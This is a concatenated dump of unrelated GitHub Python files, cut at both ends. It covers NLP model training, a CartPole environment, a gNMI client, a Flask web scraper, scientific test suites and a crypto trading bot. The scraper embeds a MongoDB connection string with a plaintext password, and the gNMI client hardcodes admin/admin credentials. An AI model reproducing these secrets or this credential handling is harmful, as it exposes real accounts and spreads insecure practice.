dtype=np.int32), np.array([ids2], dtype=np.int32))\n            relationship = self.extra_er(key[0], re1, re2)\n            result.extend(relationship)\n        print(subjects)\n        print(result)\n        return result\n\n    def extra_sujects(self, ner_1, ner_2):\n        subject = []\n        ner_1, ner_2 = np.where(ner_1[0] > 0.5)[0], np.where(ner_2[0] > 0.5)[0]\n        if len(ner_1) > 0:\n            for i in ner_1:\n                j = ner_2[ner_2 >= i]\n                if len(j) > 0:\n                    j = j[0]\n                    _subject = self.text[i: j+1]\n                    subject.append((_subject, i, j))\n        return subject\n\n    def extra_er(self, key, re1, re2):\n        relationship = []\n        o_re1, o_re2 = np.where(re1[0] > 0.5), np.where(re2[0] > 0.5)\n        for _re1, c1 in zip(*o_re1):\n            for _re2, c2 in zip(*o_re2):\n                if _re1 <= _re2 and c1 == c2:\n                    _object = self.text[_re1: _re2 + 1]\n                    _predicate = id2predicate[c1]\n                    relationship.append((key, _predicate, _object))\n                    break\n        return relationship\n\n\nclass Evaluate(object):\n    def __init__(self):\n        pass\n    def reset(self,spo_list):\n        xx = []\n        for key in spo_list:\n            xx.append((key[0], key[1], key[2]))\n        return xx\n    def evaluate(self, data):\n        A, B, C = 1e-10, 1e-10, 1e-10\n        for d in data[0:10]:\n            extra_items = Extra_result(d['text'])\n            R = set(extra_items.call())\n            T = set(self.reset(d['spo_list']))\n            A += len(R & T)\n            B += len(R)\n            C += len(T)\n        return 2 * A / (B + C), A / B, A / C\n\nmodel_Ner = Ner_model()\nmodel_Er = ER_model()\noptimizer = tf.keras.optimizers.Adam(learning_rate=lr)\ncheckpoint = tf.train.Checkpoint(optimizer=optimizer, model_Ner=model_Ner, model_Er=model_Er)\nevaluate = Evaluate()\ndata_loader = data_loader()\nbest = 0.0\n\nfor epoch in range(num_epochs):\n    print('Epoch:', epoch + 1)\n\n    num_batchs = int(data_loader.num_train / batch_size) + 1\n    for batch_index in range(num_batchs):\n        input_x, input_ner1, input_ner2, input_re1, input_re2, position_s, position_e = data_loader.get_batch(batch_size)\n\n        with tf.GradientTape() as tape:\n            y_1, y_2, out_lstm = model_Ner(input_x) #预测ner\n            y_re1, y_re2 = model_Er(out_lstm, position_s, position_e)\n            loss, loss1, loss2 = loss_function(y_1, y_2, y_re1, y_re2, input_ner1, input_ner2, input_re1, input_re2)\n            if (batch_index+1) % 500 == 0:\n                print(\"batch %d: loss %f: loss1 %f: loss2 %f\" % (batch_index+1, loss.numpy(), loss1.numpy(), loss2.numpy()))\n\n        variables = (model_Ner.variables + model_Er.variables)\n        grads = tape.gradient(loss, variables)\n        optimizer.apply_gradients(grads_and_vars=zip(grads, variables))\n    F, P, R = evaluate.evaluate(dev_data)\n    print('测试集:', \"F %f: P %f: R %f: \" % (F, P, F))\n    if round(F, 2) > best and round(F, 2) > 0.50:\n        best = F\n        print('saving_model')\n        #model.save('./save/Entity_Relationshaip_version2.h5')\n        checkpoint.save('./save/Entity_Relationship/version1_checkpoints.ckpt')","repo_name":"NLPxiaoxu/Entity-recognition-and-Relation-extraction","sub_path":"Joint_Model/Entity_Relationship_version1.py","file_name":"Entity_Relationship_version1.py","file_ext":"py","file_size_in_byte":7649,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"35"}
{"seq_id":"6047529648","text":"from math import cos, sin\nfrom os import environ\nfrom typing import Optional\n\nimport numpy as np\nfrom gym import spaces\nfrom gym.envs.classic_control import utils\nfrom gym.envs.classic_control.cartpole import CartPoleEnv\n\nenviron['PYGAME_HIDE_SUPPORT_PROMPT'] = '1'\nfrom pygame import display\n\n\nclass CartPole(CartPoleEnv):\n    def __init__(self):\n        super().__init__(render_mode=\"human\")\n        self.high = np.array(\n            [\n                self.x_threshold * 2,\n                5.0,\n                self.theta_threshold_radians * 2,\n                5.0,\n            ],\n            dtype=np.float32,\n        )\n        self.low = -self.high\n        self.observation_space = spaces.Box(self.low, self.high, dtype=np.float32)\n\n    def reset(self, *, seed: Optional[int] = None, options: Optional[dict] = None) -> np.ndarray:\n        super(CartPoleEnv, self).reset(seed=seed)\n        low, high = utils.maybe_parse_reset_bounds(options, -0.1, 0.1)\n        self.state = self.np_random.uniform(low=low, high=high, size=(4,))\n        self.steps_beyond_terminated = None\n        return np.array(self.state, dtype=np.float32)\n\n    def step(self, action: int) -> (np.ndarray, float, bool):\n        err_msg = f\"{action!r} ({type(action)}) invalid\"\n        assert self.action_space.contains(action), err_msg\n        assert self.state is not None, \"Call reset before using step method.\"\n\n        x, x_dot, theta, theta_dot = self.state\n        force = self.force_mag if action == 1 else -self.force_mag\n        costheta = cos(theta)\n        sintheta = sin(theta)\n\n        # For the interested reader:\n        # https://coneural.org/florian/papers/05_cart_pole.pdf\n        temp = (force + self.polemass_length * theta_dot ** 2 * sintheta) / self.total_mass\n        thetaacc = (self.gravity * sintheta - costheta * temp) / \\\n                   (self.length * (4.0 / 3.0 - self.masspole * costheta ** 2 / self.total_mass))\n        xacc = temp - self.polemass_length * thetaacc * costheta / self.total_mass\n\n        if self.kinematics_integrator == \"euler\":\n            x += self.tau * x_dot\n            x_dot += self.tau * xacc\n            theta += self.tau * theta_dot\n            theta_dot += self.tau * thetaacc\n        else:  # semi-implicit euler\n            x_dot += self.tau * xacc\n            x += self.tau * x_dot\n            theta_dot += self.tau * thetaacc\n            theta += self.tau * theta_dot\n\n        self.state = (x, x_dot, theta, theta_dot)\n\n        return np.array(self.state, dtype=np.float32), self.isOutOfBounds(), self.isTerminal()\n\n    def animate(self, episode: int, step: int, max_steps: int = None, best_steps: int = None):\n        super().render()\n        max_str = ''\n        best_str = ''\n\n        if max_steps is not None:\n            max_str = ' / ' + str(max_steps)\n\n        if best_steps is not None:\n            best_str = '    |    Best: ' + str(best_steps)\n\n        if self.render_mode == \"human\":\n            display.set_caption(f'    Episode: {episode}    |    Step: {step}' + max_str + best_str)\n\n    def isOutOfBounds(self, state: (float, float, float, float) = None) -> bool:\n        if state is None:\n            state = self.state\n        x, x_dot, theta, theta_dot = state\n        return bool(x < -self.x_threshold or x > self.x_threshold)\n\n    def isTerminal(self, state: (float, float, float, float) = None) -> bool:\n        if state is None:\n            state = self.state\n        x, x_dot, theta, theta_dot = state\n        return bool(theta < -self.theta_threshold_radians or theta > self.theta_threshold_radians)\n\n    def getState(self) -> np.ndarray:\n        return np.array(self.state)\n\n    def normalize(self, state: (float, float, float, float)) -> np.ndarray:\n        S = np.array(state.copy())\n        for i in range(len(S)):\n            S[i] = (S[i] - self.low[i]) / (self.high[i] - self.low[i])\n        return S\n","repo_name":"Ryan-Finn/Deep-Reinforcement-Learning","sub_path":"PA4/CartPole.py","file_name":"CartPole.py","file_ext":"py","file_size_in_byte":3868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14993038570","text":"import asyncio\n\nimport grpclib.client\nfrom grpclib.config import Configuration\nimport gnmi.proto\nfrom gnmi.proto import PathElem, Encoding, SubscriptionListMode, SubscriptionMode\n\n\nasync def subscribe():\n    channel_config = Configuration(\n        _keepalive_time=120.0,\n        _keepalive_timeout=30.0,\n        _keepalive_permit_without_calls=True,\n        _http2_max_pings_without_data=0,\n        _http2_min_sent_ping_interval_without_data=120.0,\n    )\n\n    channel = grpclib.client.Channel(\n        host=\"10.34.8.167\",\n        port=57400,\n        ssl=None,\n        config=channel_config,\n    )\n\n    stub = gnmi.proto.gNMIStub(\n        channel=channel,\n        metadata={\n            \"username\": \"admin\",\n            \"password\": \"admin\",\n        },\n    )\n\n    gnmi_subscription = gnmi.proto.Subscription(\n        # concrete path does not meter. This is just an arbitrary path to avoid unnecessary traffic from the device\n        path=gnmi.proto.Path(elem=[PathElem(name='configure', key={}), PathElem(name='system', key={}),\n                                   PathElem(name='bluetooth', key={})]),\n        mode=SubscriptionMode.ON_CHANGE,\n    )\n\n    subscription_list = gnmi.proto.SubscriptionList(\n        subscription=[gnmi_subscription],\n        mode=SubscriptionListMode.STREAM,\n        encoding=Encoding.JSON\n    )\n    notifications = stub.subscribe(\n        iter([gnmi.proto.SubscribeRequest(subscribe=subscription_list)])\n    )\n\n    async for notification in notifications:\n        # simply print the message to verify that the subscription is working\n        print(notification)\n\nloop = asyncio.get_event_loop()\nloop.run_until_complete(subscribe())\n","repo_name":"DE-CIX/gnmi-subscribe-go-away","sub_path":"subscribe.py","file_name":"subscribe.py","file_ext":"py","file_size_in_byte":1659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72919664421","text":"#loading all required libraries\nfrom flask import Flask, render_template, request, jsonify\nfrom bs4 import BeautifulSoup as bs\nfrom flask_cors import CORS, cross_origin\nimport requests\nfrom urllib.request import urlopen\nimport logging\nimport pymongo\n\n#creating a log ile\nlogging.basicConfig(filename = 'scrap.log', \n                    level = logging.INFO, \n                    format = '%(name)s %(levelname)s %(message)s ')\n\napplication = Flask(__name__)\napp = application\n\n#creating main landing page\n@app.route('/',methods = ['GET'])\n@cross_origin()\ndef homepage():\n    return render_template(\"index.html\")\n\n#creating /review page\n@app.route('/review', methods = ['POST','GET'])\n@cross_origin()\ndef index():\n    if request.method=='POST':\n        try:\n            #search string entered by user\n            searchString = request.form['content'].replace(\" \",\"\")\n            #creating link\n            flipkart_url = \"https://www.flipkart.com/search?q=\" + searchString\n            #open link page\n            urlClient = urlopen(flipkart_url)\n            #reading the page content\n            flipkartPage = urlClient.read()\n            urlClient.close()\n            #using beautiful soap to make the content in html readable format\n            flipkart_html = bs(flipkartPage,'html.parser')\n            #list of all products showing on landing page\n            bigbox = flipkart_html.find_all(\"div\",{\"class\":\"_1AtVbE col-12-12\"})\n            #deleting first three div's\n            del bigbox[0:3]\n            #storing first product link\n            product_link = \"https://www.flipkart.com\"+bigbox[0].div.div.div.a['href']\n            #get request for product link\n            prodReq = requests.get(product_link)\n            #utf-8 encoding\n            prodReq.encoding = 'utf-8'\n            #using beautiful soap to make the content in html readable format\n            prodHtml = bs(prodReq.text,'html.parser')\n            #selecting div  all reviews\n            prodAll = prodHtml.find_all('div',{'class':'col JOpGWq'})\n            #storing link for all reviews page\n            reviewAll = \"https://www.flipkart.com\" + prodAll[0].find_all('a')[-1]['href']\n            #reading the page content for all reviews page\n            reviewPage = bs(requests.get(reviewAll).text,'html.parser')\n            #list of review pages 1-10\n            revPageList = reviewPage.find_all(\"a\",{\"class\":\"ge-49M\"})\n            \n            #creating a csv file \n            filename = searchString + \".csv\"\n            fw = open(filename, \"w\")\n            #storing info in file \n            headers = \"Product, Customer Name, Rating, Heading, Comment \\n\"\n            fw.write(headers)\n            #creating a list to append the data\n            reviews = []\n            \n            #looping over review pages 1-10\n            for i in revPageList:\n                try:\n                    #reading page content for each review page\n                    pageLink = bs(requests.get(\"https://www.flipkart.com\"+i['href']).text,'html.parser')\n                    #list of all comment div on the page\n                    commentBoxes = pageLink.find_all('div',{'class':'_1AtVbE col-12-12'})\n                    #deleting first 4 and last div\n                    del commentBoxes[0:4]\n                    del commentBoxes[-1]\n                except:\n                    logging.error(\"Review page link issue\")\n                    \n                try:\n                    #looping over all the comments on the page\n                    for commentbox in commentBoxes:\n                        try:\n                            #user name\n                            name = commentbox.div.div.find_all('p',{'class':'_2sc7ZR _2V5EHH'})[0].text\n                        except:\n                            logging.error(\"Name not found\")\n                        try:\n                            #review heading\n                            heading = commentbox.div.find_all('p',{'class':'_2-N8zT'})[0].text\n                        except:\n                            logging.error(\"No heading\")\n                        try:\n                            #review rating\n                            rating = commentbox.div.div.find_all('div',{'class':'_3LWZlK _1BLPMq'})[0].text\n                        except:\n                            logging.error(\"No rating\")\n                        try:\n                            #review comment\n                            custComment = commentbox.div.find_all('div',{'class':'t-ZTKy'})[0].div.div.text\n                        except:\n                            logging.error(\"No customer comment\")\n                            \n                        #storing info in a dictionary\n                        mydict = {\"Product\": searchString,\"Name\":name, \"Rating\":rating,\"CommentHead\":heading,\n                                 \"Comment\":custComment}\n                        #adding in list reviews\n                        reviews.append(mydict)\n                    \n                except Exception as e:\n                    logging.error(\"Error in comment box \")\n            \n            #logging all reviews\n            logging.info(\"Log my final result {}\".format(reviews))\n                \n            #connecting to mongodb\n            client = pymongo.MongoClient(\"mongodb+srv://theserenecoder:Mukesh90@cluster0.kimqlv5.mongodb.net/?retryWrites=true&w=majority\")\n            \n            #creating a database\n            db = client[\"flipkartScrap\"]\n            \n            #creating collection in our database\n            reviewColl = db[\"flipkartScrapData\"]\n            \n            #inserting data in our collection\n            reviewColl.insert_many(reviews)\n            \n            return render_template('result.html',reviews = reviews[0:(len(reviews)-1)])\n        \n        except Exception as e:\n            logging.error('The exception message is : ', e)\n            return 'something is wrong {}'.format(e)\n    else:\n        return render_template('index.html')\n    \nif __name__ == '__main__':\n    app.run(host='127.0.0.1',port=8000)\n","repo_name":"theserenecoder/Projects_Flipkart_Webscraper","sub_path":"application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":6066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"11396987385","text":"from __future__ import division\nfrom numpy import *\nfrom math import *\nfrom pylab import *\nimport matplotlib.pyplot as plt\nimport random\n\n#------------------------------------------------\n#Random points\n\nx = [random.random() for _ in range (0,10)]\ny = [random.random() for _ in range (0,10)]\nprint(x,y)\n\nplt.plot(x,y, 'o', color='black')\nplt.show()\n\n\n#-------------------------------------------------\n#Stern-Gerlach\n\nN = 1e6\ni = 0\nspin_list = []\ndiff_list = []\nspin=random.randint(0,1)\nstep = 1000\n\nwhile i < N:\n    spin = random.randint(0,1)\n        #random spin number, 0 or 1\n    spin_list.append(spin)\n        #creates a list with spin values\n    spin1 = spin_list.count(1)\n        #counts spin values of 1\n    spin0 = spin_list.count(0)\n    diff = abs(spin1 - spin0)\n    diff_list.append(diff)\n    i = i + step\n\nx = linspace(0, 1e6, step)\nplot(x, diff_list)\nxlabel('# particles')\nylabel('spin difference')\nshow()\n","repo_name":"afilsinger3/PHYS344","sub_path":"Homework_01/Homework1.py","file_name":"Homework1.py","file_ext":"py","file_size_in_byte":919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"40367009552","text":"\nimport os\nimport yaml\n\n\ndef defaultCentroidParams(actorName):\n    \"\"\"\n    read the default centroid parameters files. note that the yaml file contains both \n    values and definitions of the parameters.\n\n    Input\n       actorName: actor in question. currently agc or mcs\n\n    Returns\n      dictionary with the values of the parameters\n\n    \"\"\"\n    if(actorName == \"mcs\"):\n        # currently in the /etc directory of the ics_mcsActor\n        path = os.path.join(\"$MCSACTOR_DIR\", \"etc\", \"mcsDefaultCentroidParameters.yaml\")\n    elif(actorName == \"agc\"):\n        # currently in the /etc directory of the ics_mcsActor\n        path = os.path.join(\"$AGCACTOR_DIR\", \"etc\", \"agcDefaultCentroidParameters.yaml\")\n    else:\n        return None\n\n    with open(path, 'r') as inFile:\n        defaultParms = yaml.safe_load(inFile)\n\n    # returns just the values dictionary\n    return defaultParms['values']\n\n\ndef readCobraGeometry(xmlFile, dotFile):\n    \"\"\"\n    read cobra geometry from configuration file/inst_config\n\n    dot positions from CSVfile at the moment, this will change\n\n    The results will be return in whatever unit the input XML file is in\n    \"\"\"\n\n    # geometry XML file\n\n    pfic = pfi.PFI(fpgaHost='localhost', doConnect=False, logDir=None)\n    aa = pfic.loadModel([pathlib.Path(xmlFile)])\n\n    # first figure out the good cobras (bad positions are set to 0)\n    centersAll = pfic.calibModel.centers\n    goodIdx = np.array(np.where(centersAll.real != 0)).astype('int').ravel()\n\n    # then extract the parameters for good fibres only\n    centrePos = np.array([goodIdx+1, centersAll[goodIdx].real, centersAll[goodIdx].imag]).T\n    armLength = (pfic.calibModel.L1[goodIdx]+pfic.calibModel.L2[goodIdx])\n\n    # number of cobras\n    nCobras = len(armLength)\n\n    # at the moment read dots from CSV file\n    dotData = pd.read_csv(dotFile, delimiter=\",\")\n    dotPos = np.zeros((len(goodIdx), 4))\n\n    dotPos[:, 0] = goodIdx+1\n    dotPos[:, 1] = dotData['x_tran'].values[goodIdx]\n    dotPos[:, 2] = dotData['y_tran'].values[goodIdx]\n    dotPos[:, 3] = dotData['r_tran'].values[goodIdx]\n\n    return centrePos, armLength, dotPos, goodIdx\n","repo_name":"Subaru-PFS/ics_mcsActor","sub_path":"python/mcsActor/mcsRoutines/geomRoutinesMCS.py","file_name":"geomRoutinesMCS.py","file_ext":"py","file_size_in_byte":2135,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"70895982820","text":"import unittest\n\nimport numpy as np\nfrom sympy import Function, Matrix, symbols\n\nfrom CompartmentalSystems.smooth_reservoir_model import SmoothReservoirModel\nfrom CompartmentalSystems.smooth_model_run import SmoothModelRun\nfrom CompartmentalSystems.pwc_model_run import PWCModelRun\nfrom CompartmentalSystems.smooth_model_run_14C import SmoothModelRun_14C\nfrom CompartmentalSystems.pwc_model_run_14C import PWCModelRun_14C\n\n\nclass TestPWCModelRun_14C(unittest.TestCase):\n\n    def setUp(self):\n        x, y, t, k = symbols(\"x y t k\")\n        u_1 = Function('u_1')(x, t)\n        state_vector = Matrix([x, y])\n        B = Matrix([[-1,  1.5],\n                    [k, -2]])\n        u = Matrix(2, 1, [u_1, 1])\n        self.srm = SmoothReservoirModel.from_B_u(\n            state_vector,\n            t,\n            B,\n            u\n        )\n\n        start_values = np.array([10, 40])\n        t_0 = 0\n        t_max = 10\n        times = np.linspace(t_0, t_max, 11)\n        disc_times = [5]\n\n        parameter_dicts = [{k: 1}, {k: 0.5}]\n        func_dicts = [{u_1: lambda x_14C, t: 9}, {u_1: lambda x_14C, t: 3}]\n\n        pwc_mr = PWCModelRun(\n            self.srm,\n            parameter_dicts,\n            start_values,\n            times,\n            disc_times,\n            func_dicts\n        )\n\n        self.alpha = 0.5\n        start_values_14C = start_values * self.alpha\n\n        def Fa_func(t): return self.alpha\n        decay_rate = 1.0\n\n        self.pwc_mr_14C = PWCModelRun_14C(\n            pwc_mr,\n            start_values_14C,\n            Fa_func,\n            decay_rate\n        )\n\n        timess = [\n            np.linspace(t_0, disc_times[0], 6),\n            np.linspace(disc_times[0], t_max, 6)\n        ]\n\n        smrs_14C = []\n        tmp_start_values = start_values\n        tmp_start_values_14C = start_values_14C\n        for i in range(len(disc_times)+1):\n            smr = SmoothModelRun(\n                self.srm,\n                parameter_dict=parameter_dicts[i],\n                start_values=tmp_start_values,\n                times=timess[i],\n                func_set=func_dicts[i]\n            )\n            tmp_start_values = smr.solve()[-1]\n\n            smrs_14C.append(\n                SmoothModelRun_14C(\n                    smr,\n                    tmp_start_values_14C,\n                    Fa_func,\n                    decay_rate\n                )\n            )\n            tmp_start_values_14C = smrs_14C[i].solve()[-1]\n\n        self.smrs_14C = smrs_14C\n\n    def test_solve(self):\n        soln_smrs_14C = [smr_14C.solve() for smr_14C in self.smrs_14C]\n        L = [soln[:-1] for soln in soln_smrs_14C[:-1]]\n        L += [soln_smrs_14C[-1]]\n        soln_14C_ref = np.concatenate(L, axis=0)\n\n        self.assertTrue(\n            np.allclose(\n                soln_14C_ref,\n                self.pwc_mr_14C.solve()\n            )\n        )\n\n    def test_acc_gross_external_output_vector(self):\n        ageov_smrs_14C = [smr_14C.acc_gross_external_output_vector()\n                          for smr_14C in self.smrs_14C]\n        ageov_14C_ref = np.concatenate(ageov_smrs_14C, axis=0)\n        self.assertTrue(\n            np.allclose(\n                ageov_14C_ref,\n                self.pwc_mr_14C.acc_gross_external_output_vector()\n            )\n        )\n\n    def test_acc_net_external_output_vector(self):\n        aneov_smrs_14C = [smr_14C.acc_net_external_output_vector()\n                          for smr_14C in self.smrs_14C]\n        aneov_14C_ref = np.concatenate(aneov_smrs_14C, axis=0)\n        self.assertTrue(\n            np.allclose(\n                aneov_14C_ref,\n                self.pwc_mr_14C.acc_net_external_output_vector()\n            )\n        )\n\n    # Delta 14C methods\n\n    def test_solve_Delta_14C(self):\n        soln_smrs_Delta_14C = [\n            smr_14C.solve_Delta_14C(alpha=self.alpha)\n            for smr_14C in self.smrs_14C\n        ]\n        L = [soln[:-1] for soln in soln_smrs_Delta_14C[:-1]]\n        L += [soln_smrs_Delta_14C[-1]]\n        Delta_14C_ref = np.concatenate(L, axis=0)\n\n        self.assertTrue(\n            np.allclose(\n                Delta_14C_ref,\n                self.pwc_mr_14C.solve_Delta_14C(alpha=self.alpha),\n                equal_nan=True\n            )\n        )\n\n    def test_Delta_14C(self):\n        methods = [\n            \"acc_gross_external_input_vector_Delta_14C\",\n            \"acc_net_external_input_vector\",\n            \"acc_gross_external_output_vector\",\n            \"acc_net_external_output_vector\",\n            \"acc_gross_internal_flux_matrix\",\n            \"acc_net_internal_flux_matrix\"\n        ]\n\n        for method in methods:\n            with self.subTest():\n                Delta_14C = [getattr(smr_14C, method)()\n                             for smr_14C in self.smrs_14C]\n                Delta_14C_ref = np.concatenate(Delta_14C, axis=0)\n                self.assertTrue(\n                    np.allclose(\n                        Delta_14C_ref,\n                        getattr(self.pwc_mr_14C, method)(),\n                        equal_nan=True\n                    )\n                )\n\n\n###############################################################################\n\n\nif __name__ == '__main__':\n    suite = unittest.defaultTestLoader.discover(\".\", pattern=__file__)\n    unittest.main()\n","repo_name":"MPIBGC-TEE/CompartmentalSystems","sub_path":"tests/Test_pwc_model_run_14C.py","file_name":"Test_pwc_model_run_14C.py","file_ext":"py","file_size_in_byte":5264,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"5601032691","text":"import re\nimport argparse\nimport json_file\nimport csv_file\n\ndef lenMore1():\n    parser = argparse.ArgumentParser(description='Converter JsonToCsv and CsvToJson')\n    parser.add_argument('-in', '--input', metavar='',required=True, help='Name of the file whose format you want to change')\n    parser.add_argument('-out', '--output', metavar='',required=True, help='Result file name')\n    args = parser.parse_args()\n    if re.search(r'.json', args.input):\n        json_file.writer_csv(args.input, args.output)\n    elif re.search(r'.csv', args.input):\n        csv_file.toJson(csv_file.read_csv_file(args.input), args.output)\n    else:\n        print('Check the correctness of the entered data!')","repo_name":"stastuz98/converter","sub_path":"Check/ifLenMore1.py","file_name":"ifLenMore1.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"12209025792","text":"import ccxt\nimport time\nimport pandas as pd\nimport numpy as np\nimport datetime\nfrom pprint import pprint\nimport pal\nimport TG_Pop_Up\nfrom pybit import usdt_perpetual\n\n\npd.set_option('display.max_rows', None)\npd.set_option('display.max_columns', None)\npd.set_option('display.width', 1000)\n\n###### API Zone ######\nexchange = ccxt.bybit({\n    'apiKey': pal.api_key,\n    'secret': pal.api_secret,\n})\n\nmarkets = exchange.load_markets()\n\nsession_auth = usdt_perpetual.HTTP(\n    endpoint=\"https://api.bybit.com\",\n    api_key=pal.api_key,\n    api_secret=pal.api_secret\n)\n\n# print('********************************')\nsymbol = 'APEUSDT'\nmarket = exchange.market(symbol)\n\n\n###### All Functions ######\ndef open_long():\n    session_auth.place_active_order(\n        symbol=\"APEUSDT\",\n        side=\"Buy\",\n        order_type=\"Market\",\n        qty=bet_size,\n        # price=5,\n        time_in_force=\"GoodTillCancel\",\n        reduce_only=False,\n        close_on_trigger=False,\n        position_idx=0\n    )\n\n\ndef settle_long():\n    session_auth.place_active_order(\n        symbol=\"APEUSDT\",\n        side=\"Sell\",\n        order_type=\"Market\",\n        qty=bet_size,\n        time_in_force=\"GoodTillCancel\",\n        reduce_only=True,\n        close_on_trigger=False,\n        position_idx=0\n    )\n\n\ndef open_short():\n    session_auth.place_active_order(\n        symbol=\"APEUSDT\",\n        side=\"Sell\",\n        order_type=\"Market\",\n        qty=bet_size,\n        # price=5,\n        time_in_force=\"GoodTillCancel\",\n        reduce_only=False,\n        close_on_trigger=False,\n        position_idx=0\n    )\n\n\ndef settle_short():\n    session_auth.place_active_order(\n        symbol=\"APEUSDT\",\n        side=\"Buy\",\n        order_type=\"Market\",\n        qty=bet_size,\n        time_in_force=\"GoodTillCancel\",\n        reduce_only=True,\n        close_on_trigger=False,\n        position_idx=0\n    )\n\n\ndef reverse_to_short():\n    settle_long()\n    time.sleep(1)\n    open_short()\n\n\ndef reverse_to_long():\n    settle_short()\n    time.sleep(1)\n    open_long()\n\n\n### signal ###\ndef signal(df, x, y):\n\n    df['ma'] = df['close'].rolling(x).mean()\n    df['sd'] = df['close'].rolling(x).std()\n    df['z'] = (df['close'] - df['ma']) / df['sd']\n\n    df['pos'] = np.where(df['z'] > y, 1, np.where(df['z'] < -y, -1, 0))\n\n    pos = df['pos'].iloc[-1] #read the last row\n\n    # df['dt'] = pd.to_datetime(df['DateTime']/1000, unit='s')\n\n    print(df.tail(10))\n\n    return pos\n\n\n###### trade ######\ndef trade(pos):\n\n    ### get account info before trade ###\n    net_pos = float(exchange.fetchPositions([symbol])[0]['info']['size'])\n    net_pos_side = (exchange.fetchPositions([symbol])[0]['info']['side'])\n\n    ### trade ###\n    if pos == 1:\n        ### Open Long ###\n        if net_pos == 0:\n            open_long()\n            TG_Pop_Up.tg_pop_long()\n\n        ### -1 to 1 ###\n        elif net_pos == bet_size and net_pos_side == 'Sell':\n            reverse_to_long()\n            TG_Pop_Up.tg_pop_reverse_to_long()\n\n    elif pos == 0:\n        ### Settle Long ###\n        if net_pos == bet_size and net_pos_side == 'Buy':\n            settle_long()\n            TG_Pop_Up.tg_pop_settle_long()\n        ### Settle Short ###\n        elif net_pos == bet_size and net_pos_side == 'Sell':\n            settle_short()\n            TG_Pop_Up.tg_pop_settle_short()\n\n    elif pos == -1:\n        ### Open Short ###\n        if net_pos == 0:\n            open_short()\n            TG_Pop_Up.tg_pop_short()\n        ### 1 to -1 ###\n        if net_pos == bet_size and net_pos_side == 'Buy':\n            reverse_to_short()\n            TG_Pop_Up.tg_pop_reverse_to_short()\n\n    time.sleep(1)\n\n    ### get account info after trade ###\n    net_pos = float(exchange.fetchPositions([symbol])[0]['info']['size'])\n    print('after signal')\n    print('net position', net_pos)\n    print('nav', datetime.datetime.now(), exchange.fetch_balance()['USDT']['total'])\n\n\n### param ###\nx = 30\ny = 0.01\n# pos = 0\nbet_size = 1 #0.001\n\nwhile True:\n\n    if datetime.datetime.now().second == 5:\n\n        df = pd.read_csv(r'C:\\Users\\kenkot\\OneDrive\\桌面\\Python learning\\Calvin\\Script\\Production\\Future + Glassnode\\APE\\data.csv')\n\n        pos = signal(df, x, y)\n        print(pos)\n\n        trade(pos)\n\n        time.sleep(555)\n","repo_name":"chiefkenkot/Production","sub_path":"crypto/Future + Glassnode/APE/APE Trade.py","file_name":"APE Trade.py","file_ext":"py","file_size_in_byte":4221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"34621947047","text":"from data_structures_and_algorithms.challenges.quick_sort.quick_sort_basic import quickSort, partition\n\n\ndef test_quickSort_case1():\n    arr = [8,5,13,9,90]\n    expected = [5, 8, 9, 13, 90]\n    n = len(arr)\n    quickSort(arr,0,n-1)\n    actual = arr\n    assert actual == expected\n\ndef test_merge_one_element():\n    arr = [13]\n    expected = [13]\n    n = len(arr)\n    quickSort(arr,0,n-1)\n    actual = arr\n    assert actual == expected\n\n\ndef test_merge_empty_arr():\n    arr = [ ]\n    expected = [ ]\n    n = len(arr)\n    quickSort(arr,0,n-1)\n    actual = arr\n    assert actual == expected\n\ndef test_quickSorted_arr():\n    arr = [15,17,18,20,21,25]\n    expected = [15,17,18,20,21,25]\n    n = len(arr)\n    quickSort(arr,0,n-1)\n    actual = arr\n    assert actual == expected\n\ndef test_merge_reverse_sorted():\n    arr = [20,18,12,8,5,-2]\n    expected = [-2,5,8,12,18,20]\n    n = len(arr)\n    quickSort(arr,0,n-1)\n    actual = arr\n    assert actual == expected\n\ndef test_merge_few_uniques():\n    arr = [5,12,7,5,5,7]\n    expected = [5, 5, 5, 7, 7, 12]\n    n = len(arr)\n    quickSort(arr,0,n-1)\n    actual = arr\n    assert actual == expected\n\ndef test_merge_nearly_sorted():\n    arr = [2,3,5,7,13,11]\n    expected = [2, 3, 5, 7, 11, 13]\n    n = len(arr)\n    quickSort(arr,0,n-1)\n    actual = arr\n    assert actual == expected\n\n\n\n\n\n\n","repo_name":"DanaAbbadi/data-structures-and-algorithms-python","sub_path":"tests/challenges/test_quick_sort.py","file_name":"test_quick_sort.py","file_ext":"py","file_size_in_byte":1323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3913711392","text":"import os\nimport sys\nimport re\nimport math\n\nclass DataCheck():\n    def __init__(self):\n        self.data = []\n        self.test = False\n        self.maxJolt = 0\n        self.diffJolt = [0, 0, 0, 0]\n    \n    def ParseLine(self, line):\n        try:\n            self.data.append(int(line.rstrip()))\n        except:\n            print(\"Line is not integer: \", line)\n    \n    def LoadInput(self):\n        with open('input2.txt' if self.test else 'input.txt') as inputFile:\n            i = 0\n            for line in inputFile:\n                if len(line.rstrip()) > 0:\n                    self.ParseLine(line)\n        self.PrepareData()\n    \n    def PrepareData(self):\n        self.data.sort()\n        self.maxJolt = self.data[-1] + 3\n        print(\"Max Jolt: \", self.maxJolt)\n    \n    def ValidateJolt(self, jolt, data):\n        delta = data[0] - jolt\n        if delta > 3:\n            raise Exception(\"more then 3 jolts between adaptor!\")\n        self.diffJolt[delta] += 1\n        return data[0]\n    \n    def RunTest1(self):\n        jolt = 0\n        currentData = self.data\n        currentData.append(self.maxJolt)\n        try:\n            while len(currentData) > 0:\n                jolt = self.ValidateJolt(jolt, currentData)\n                currentData.pop(0)\n            print(\"Test 1: \", 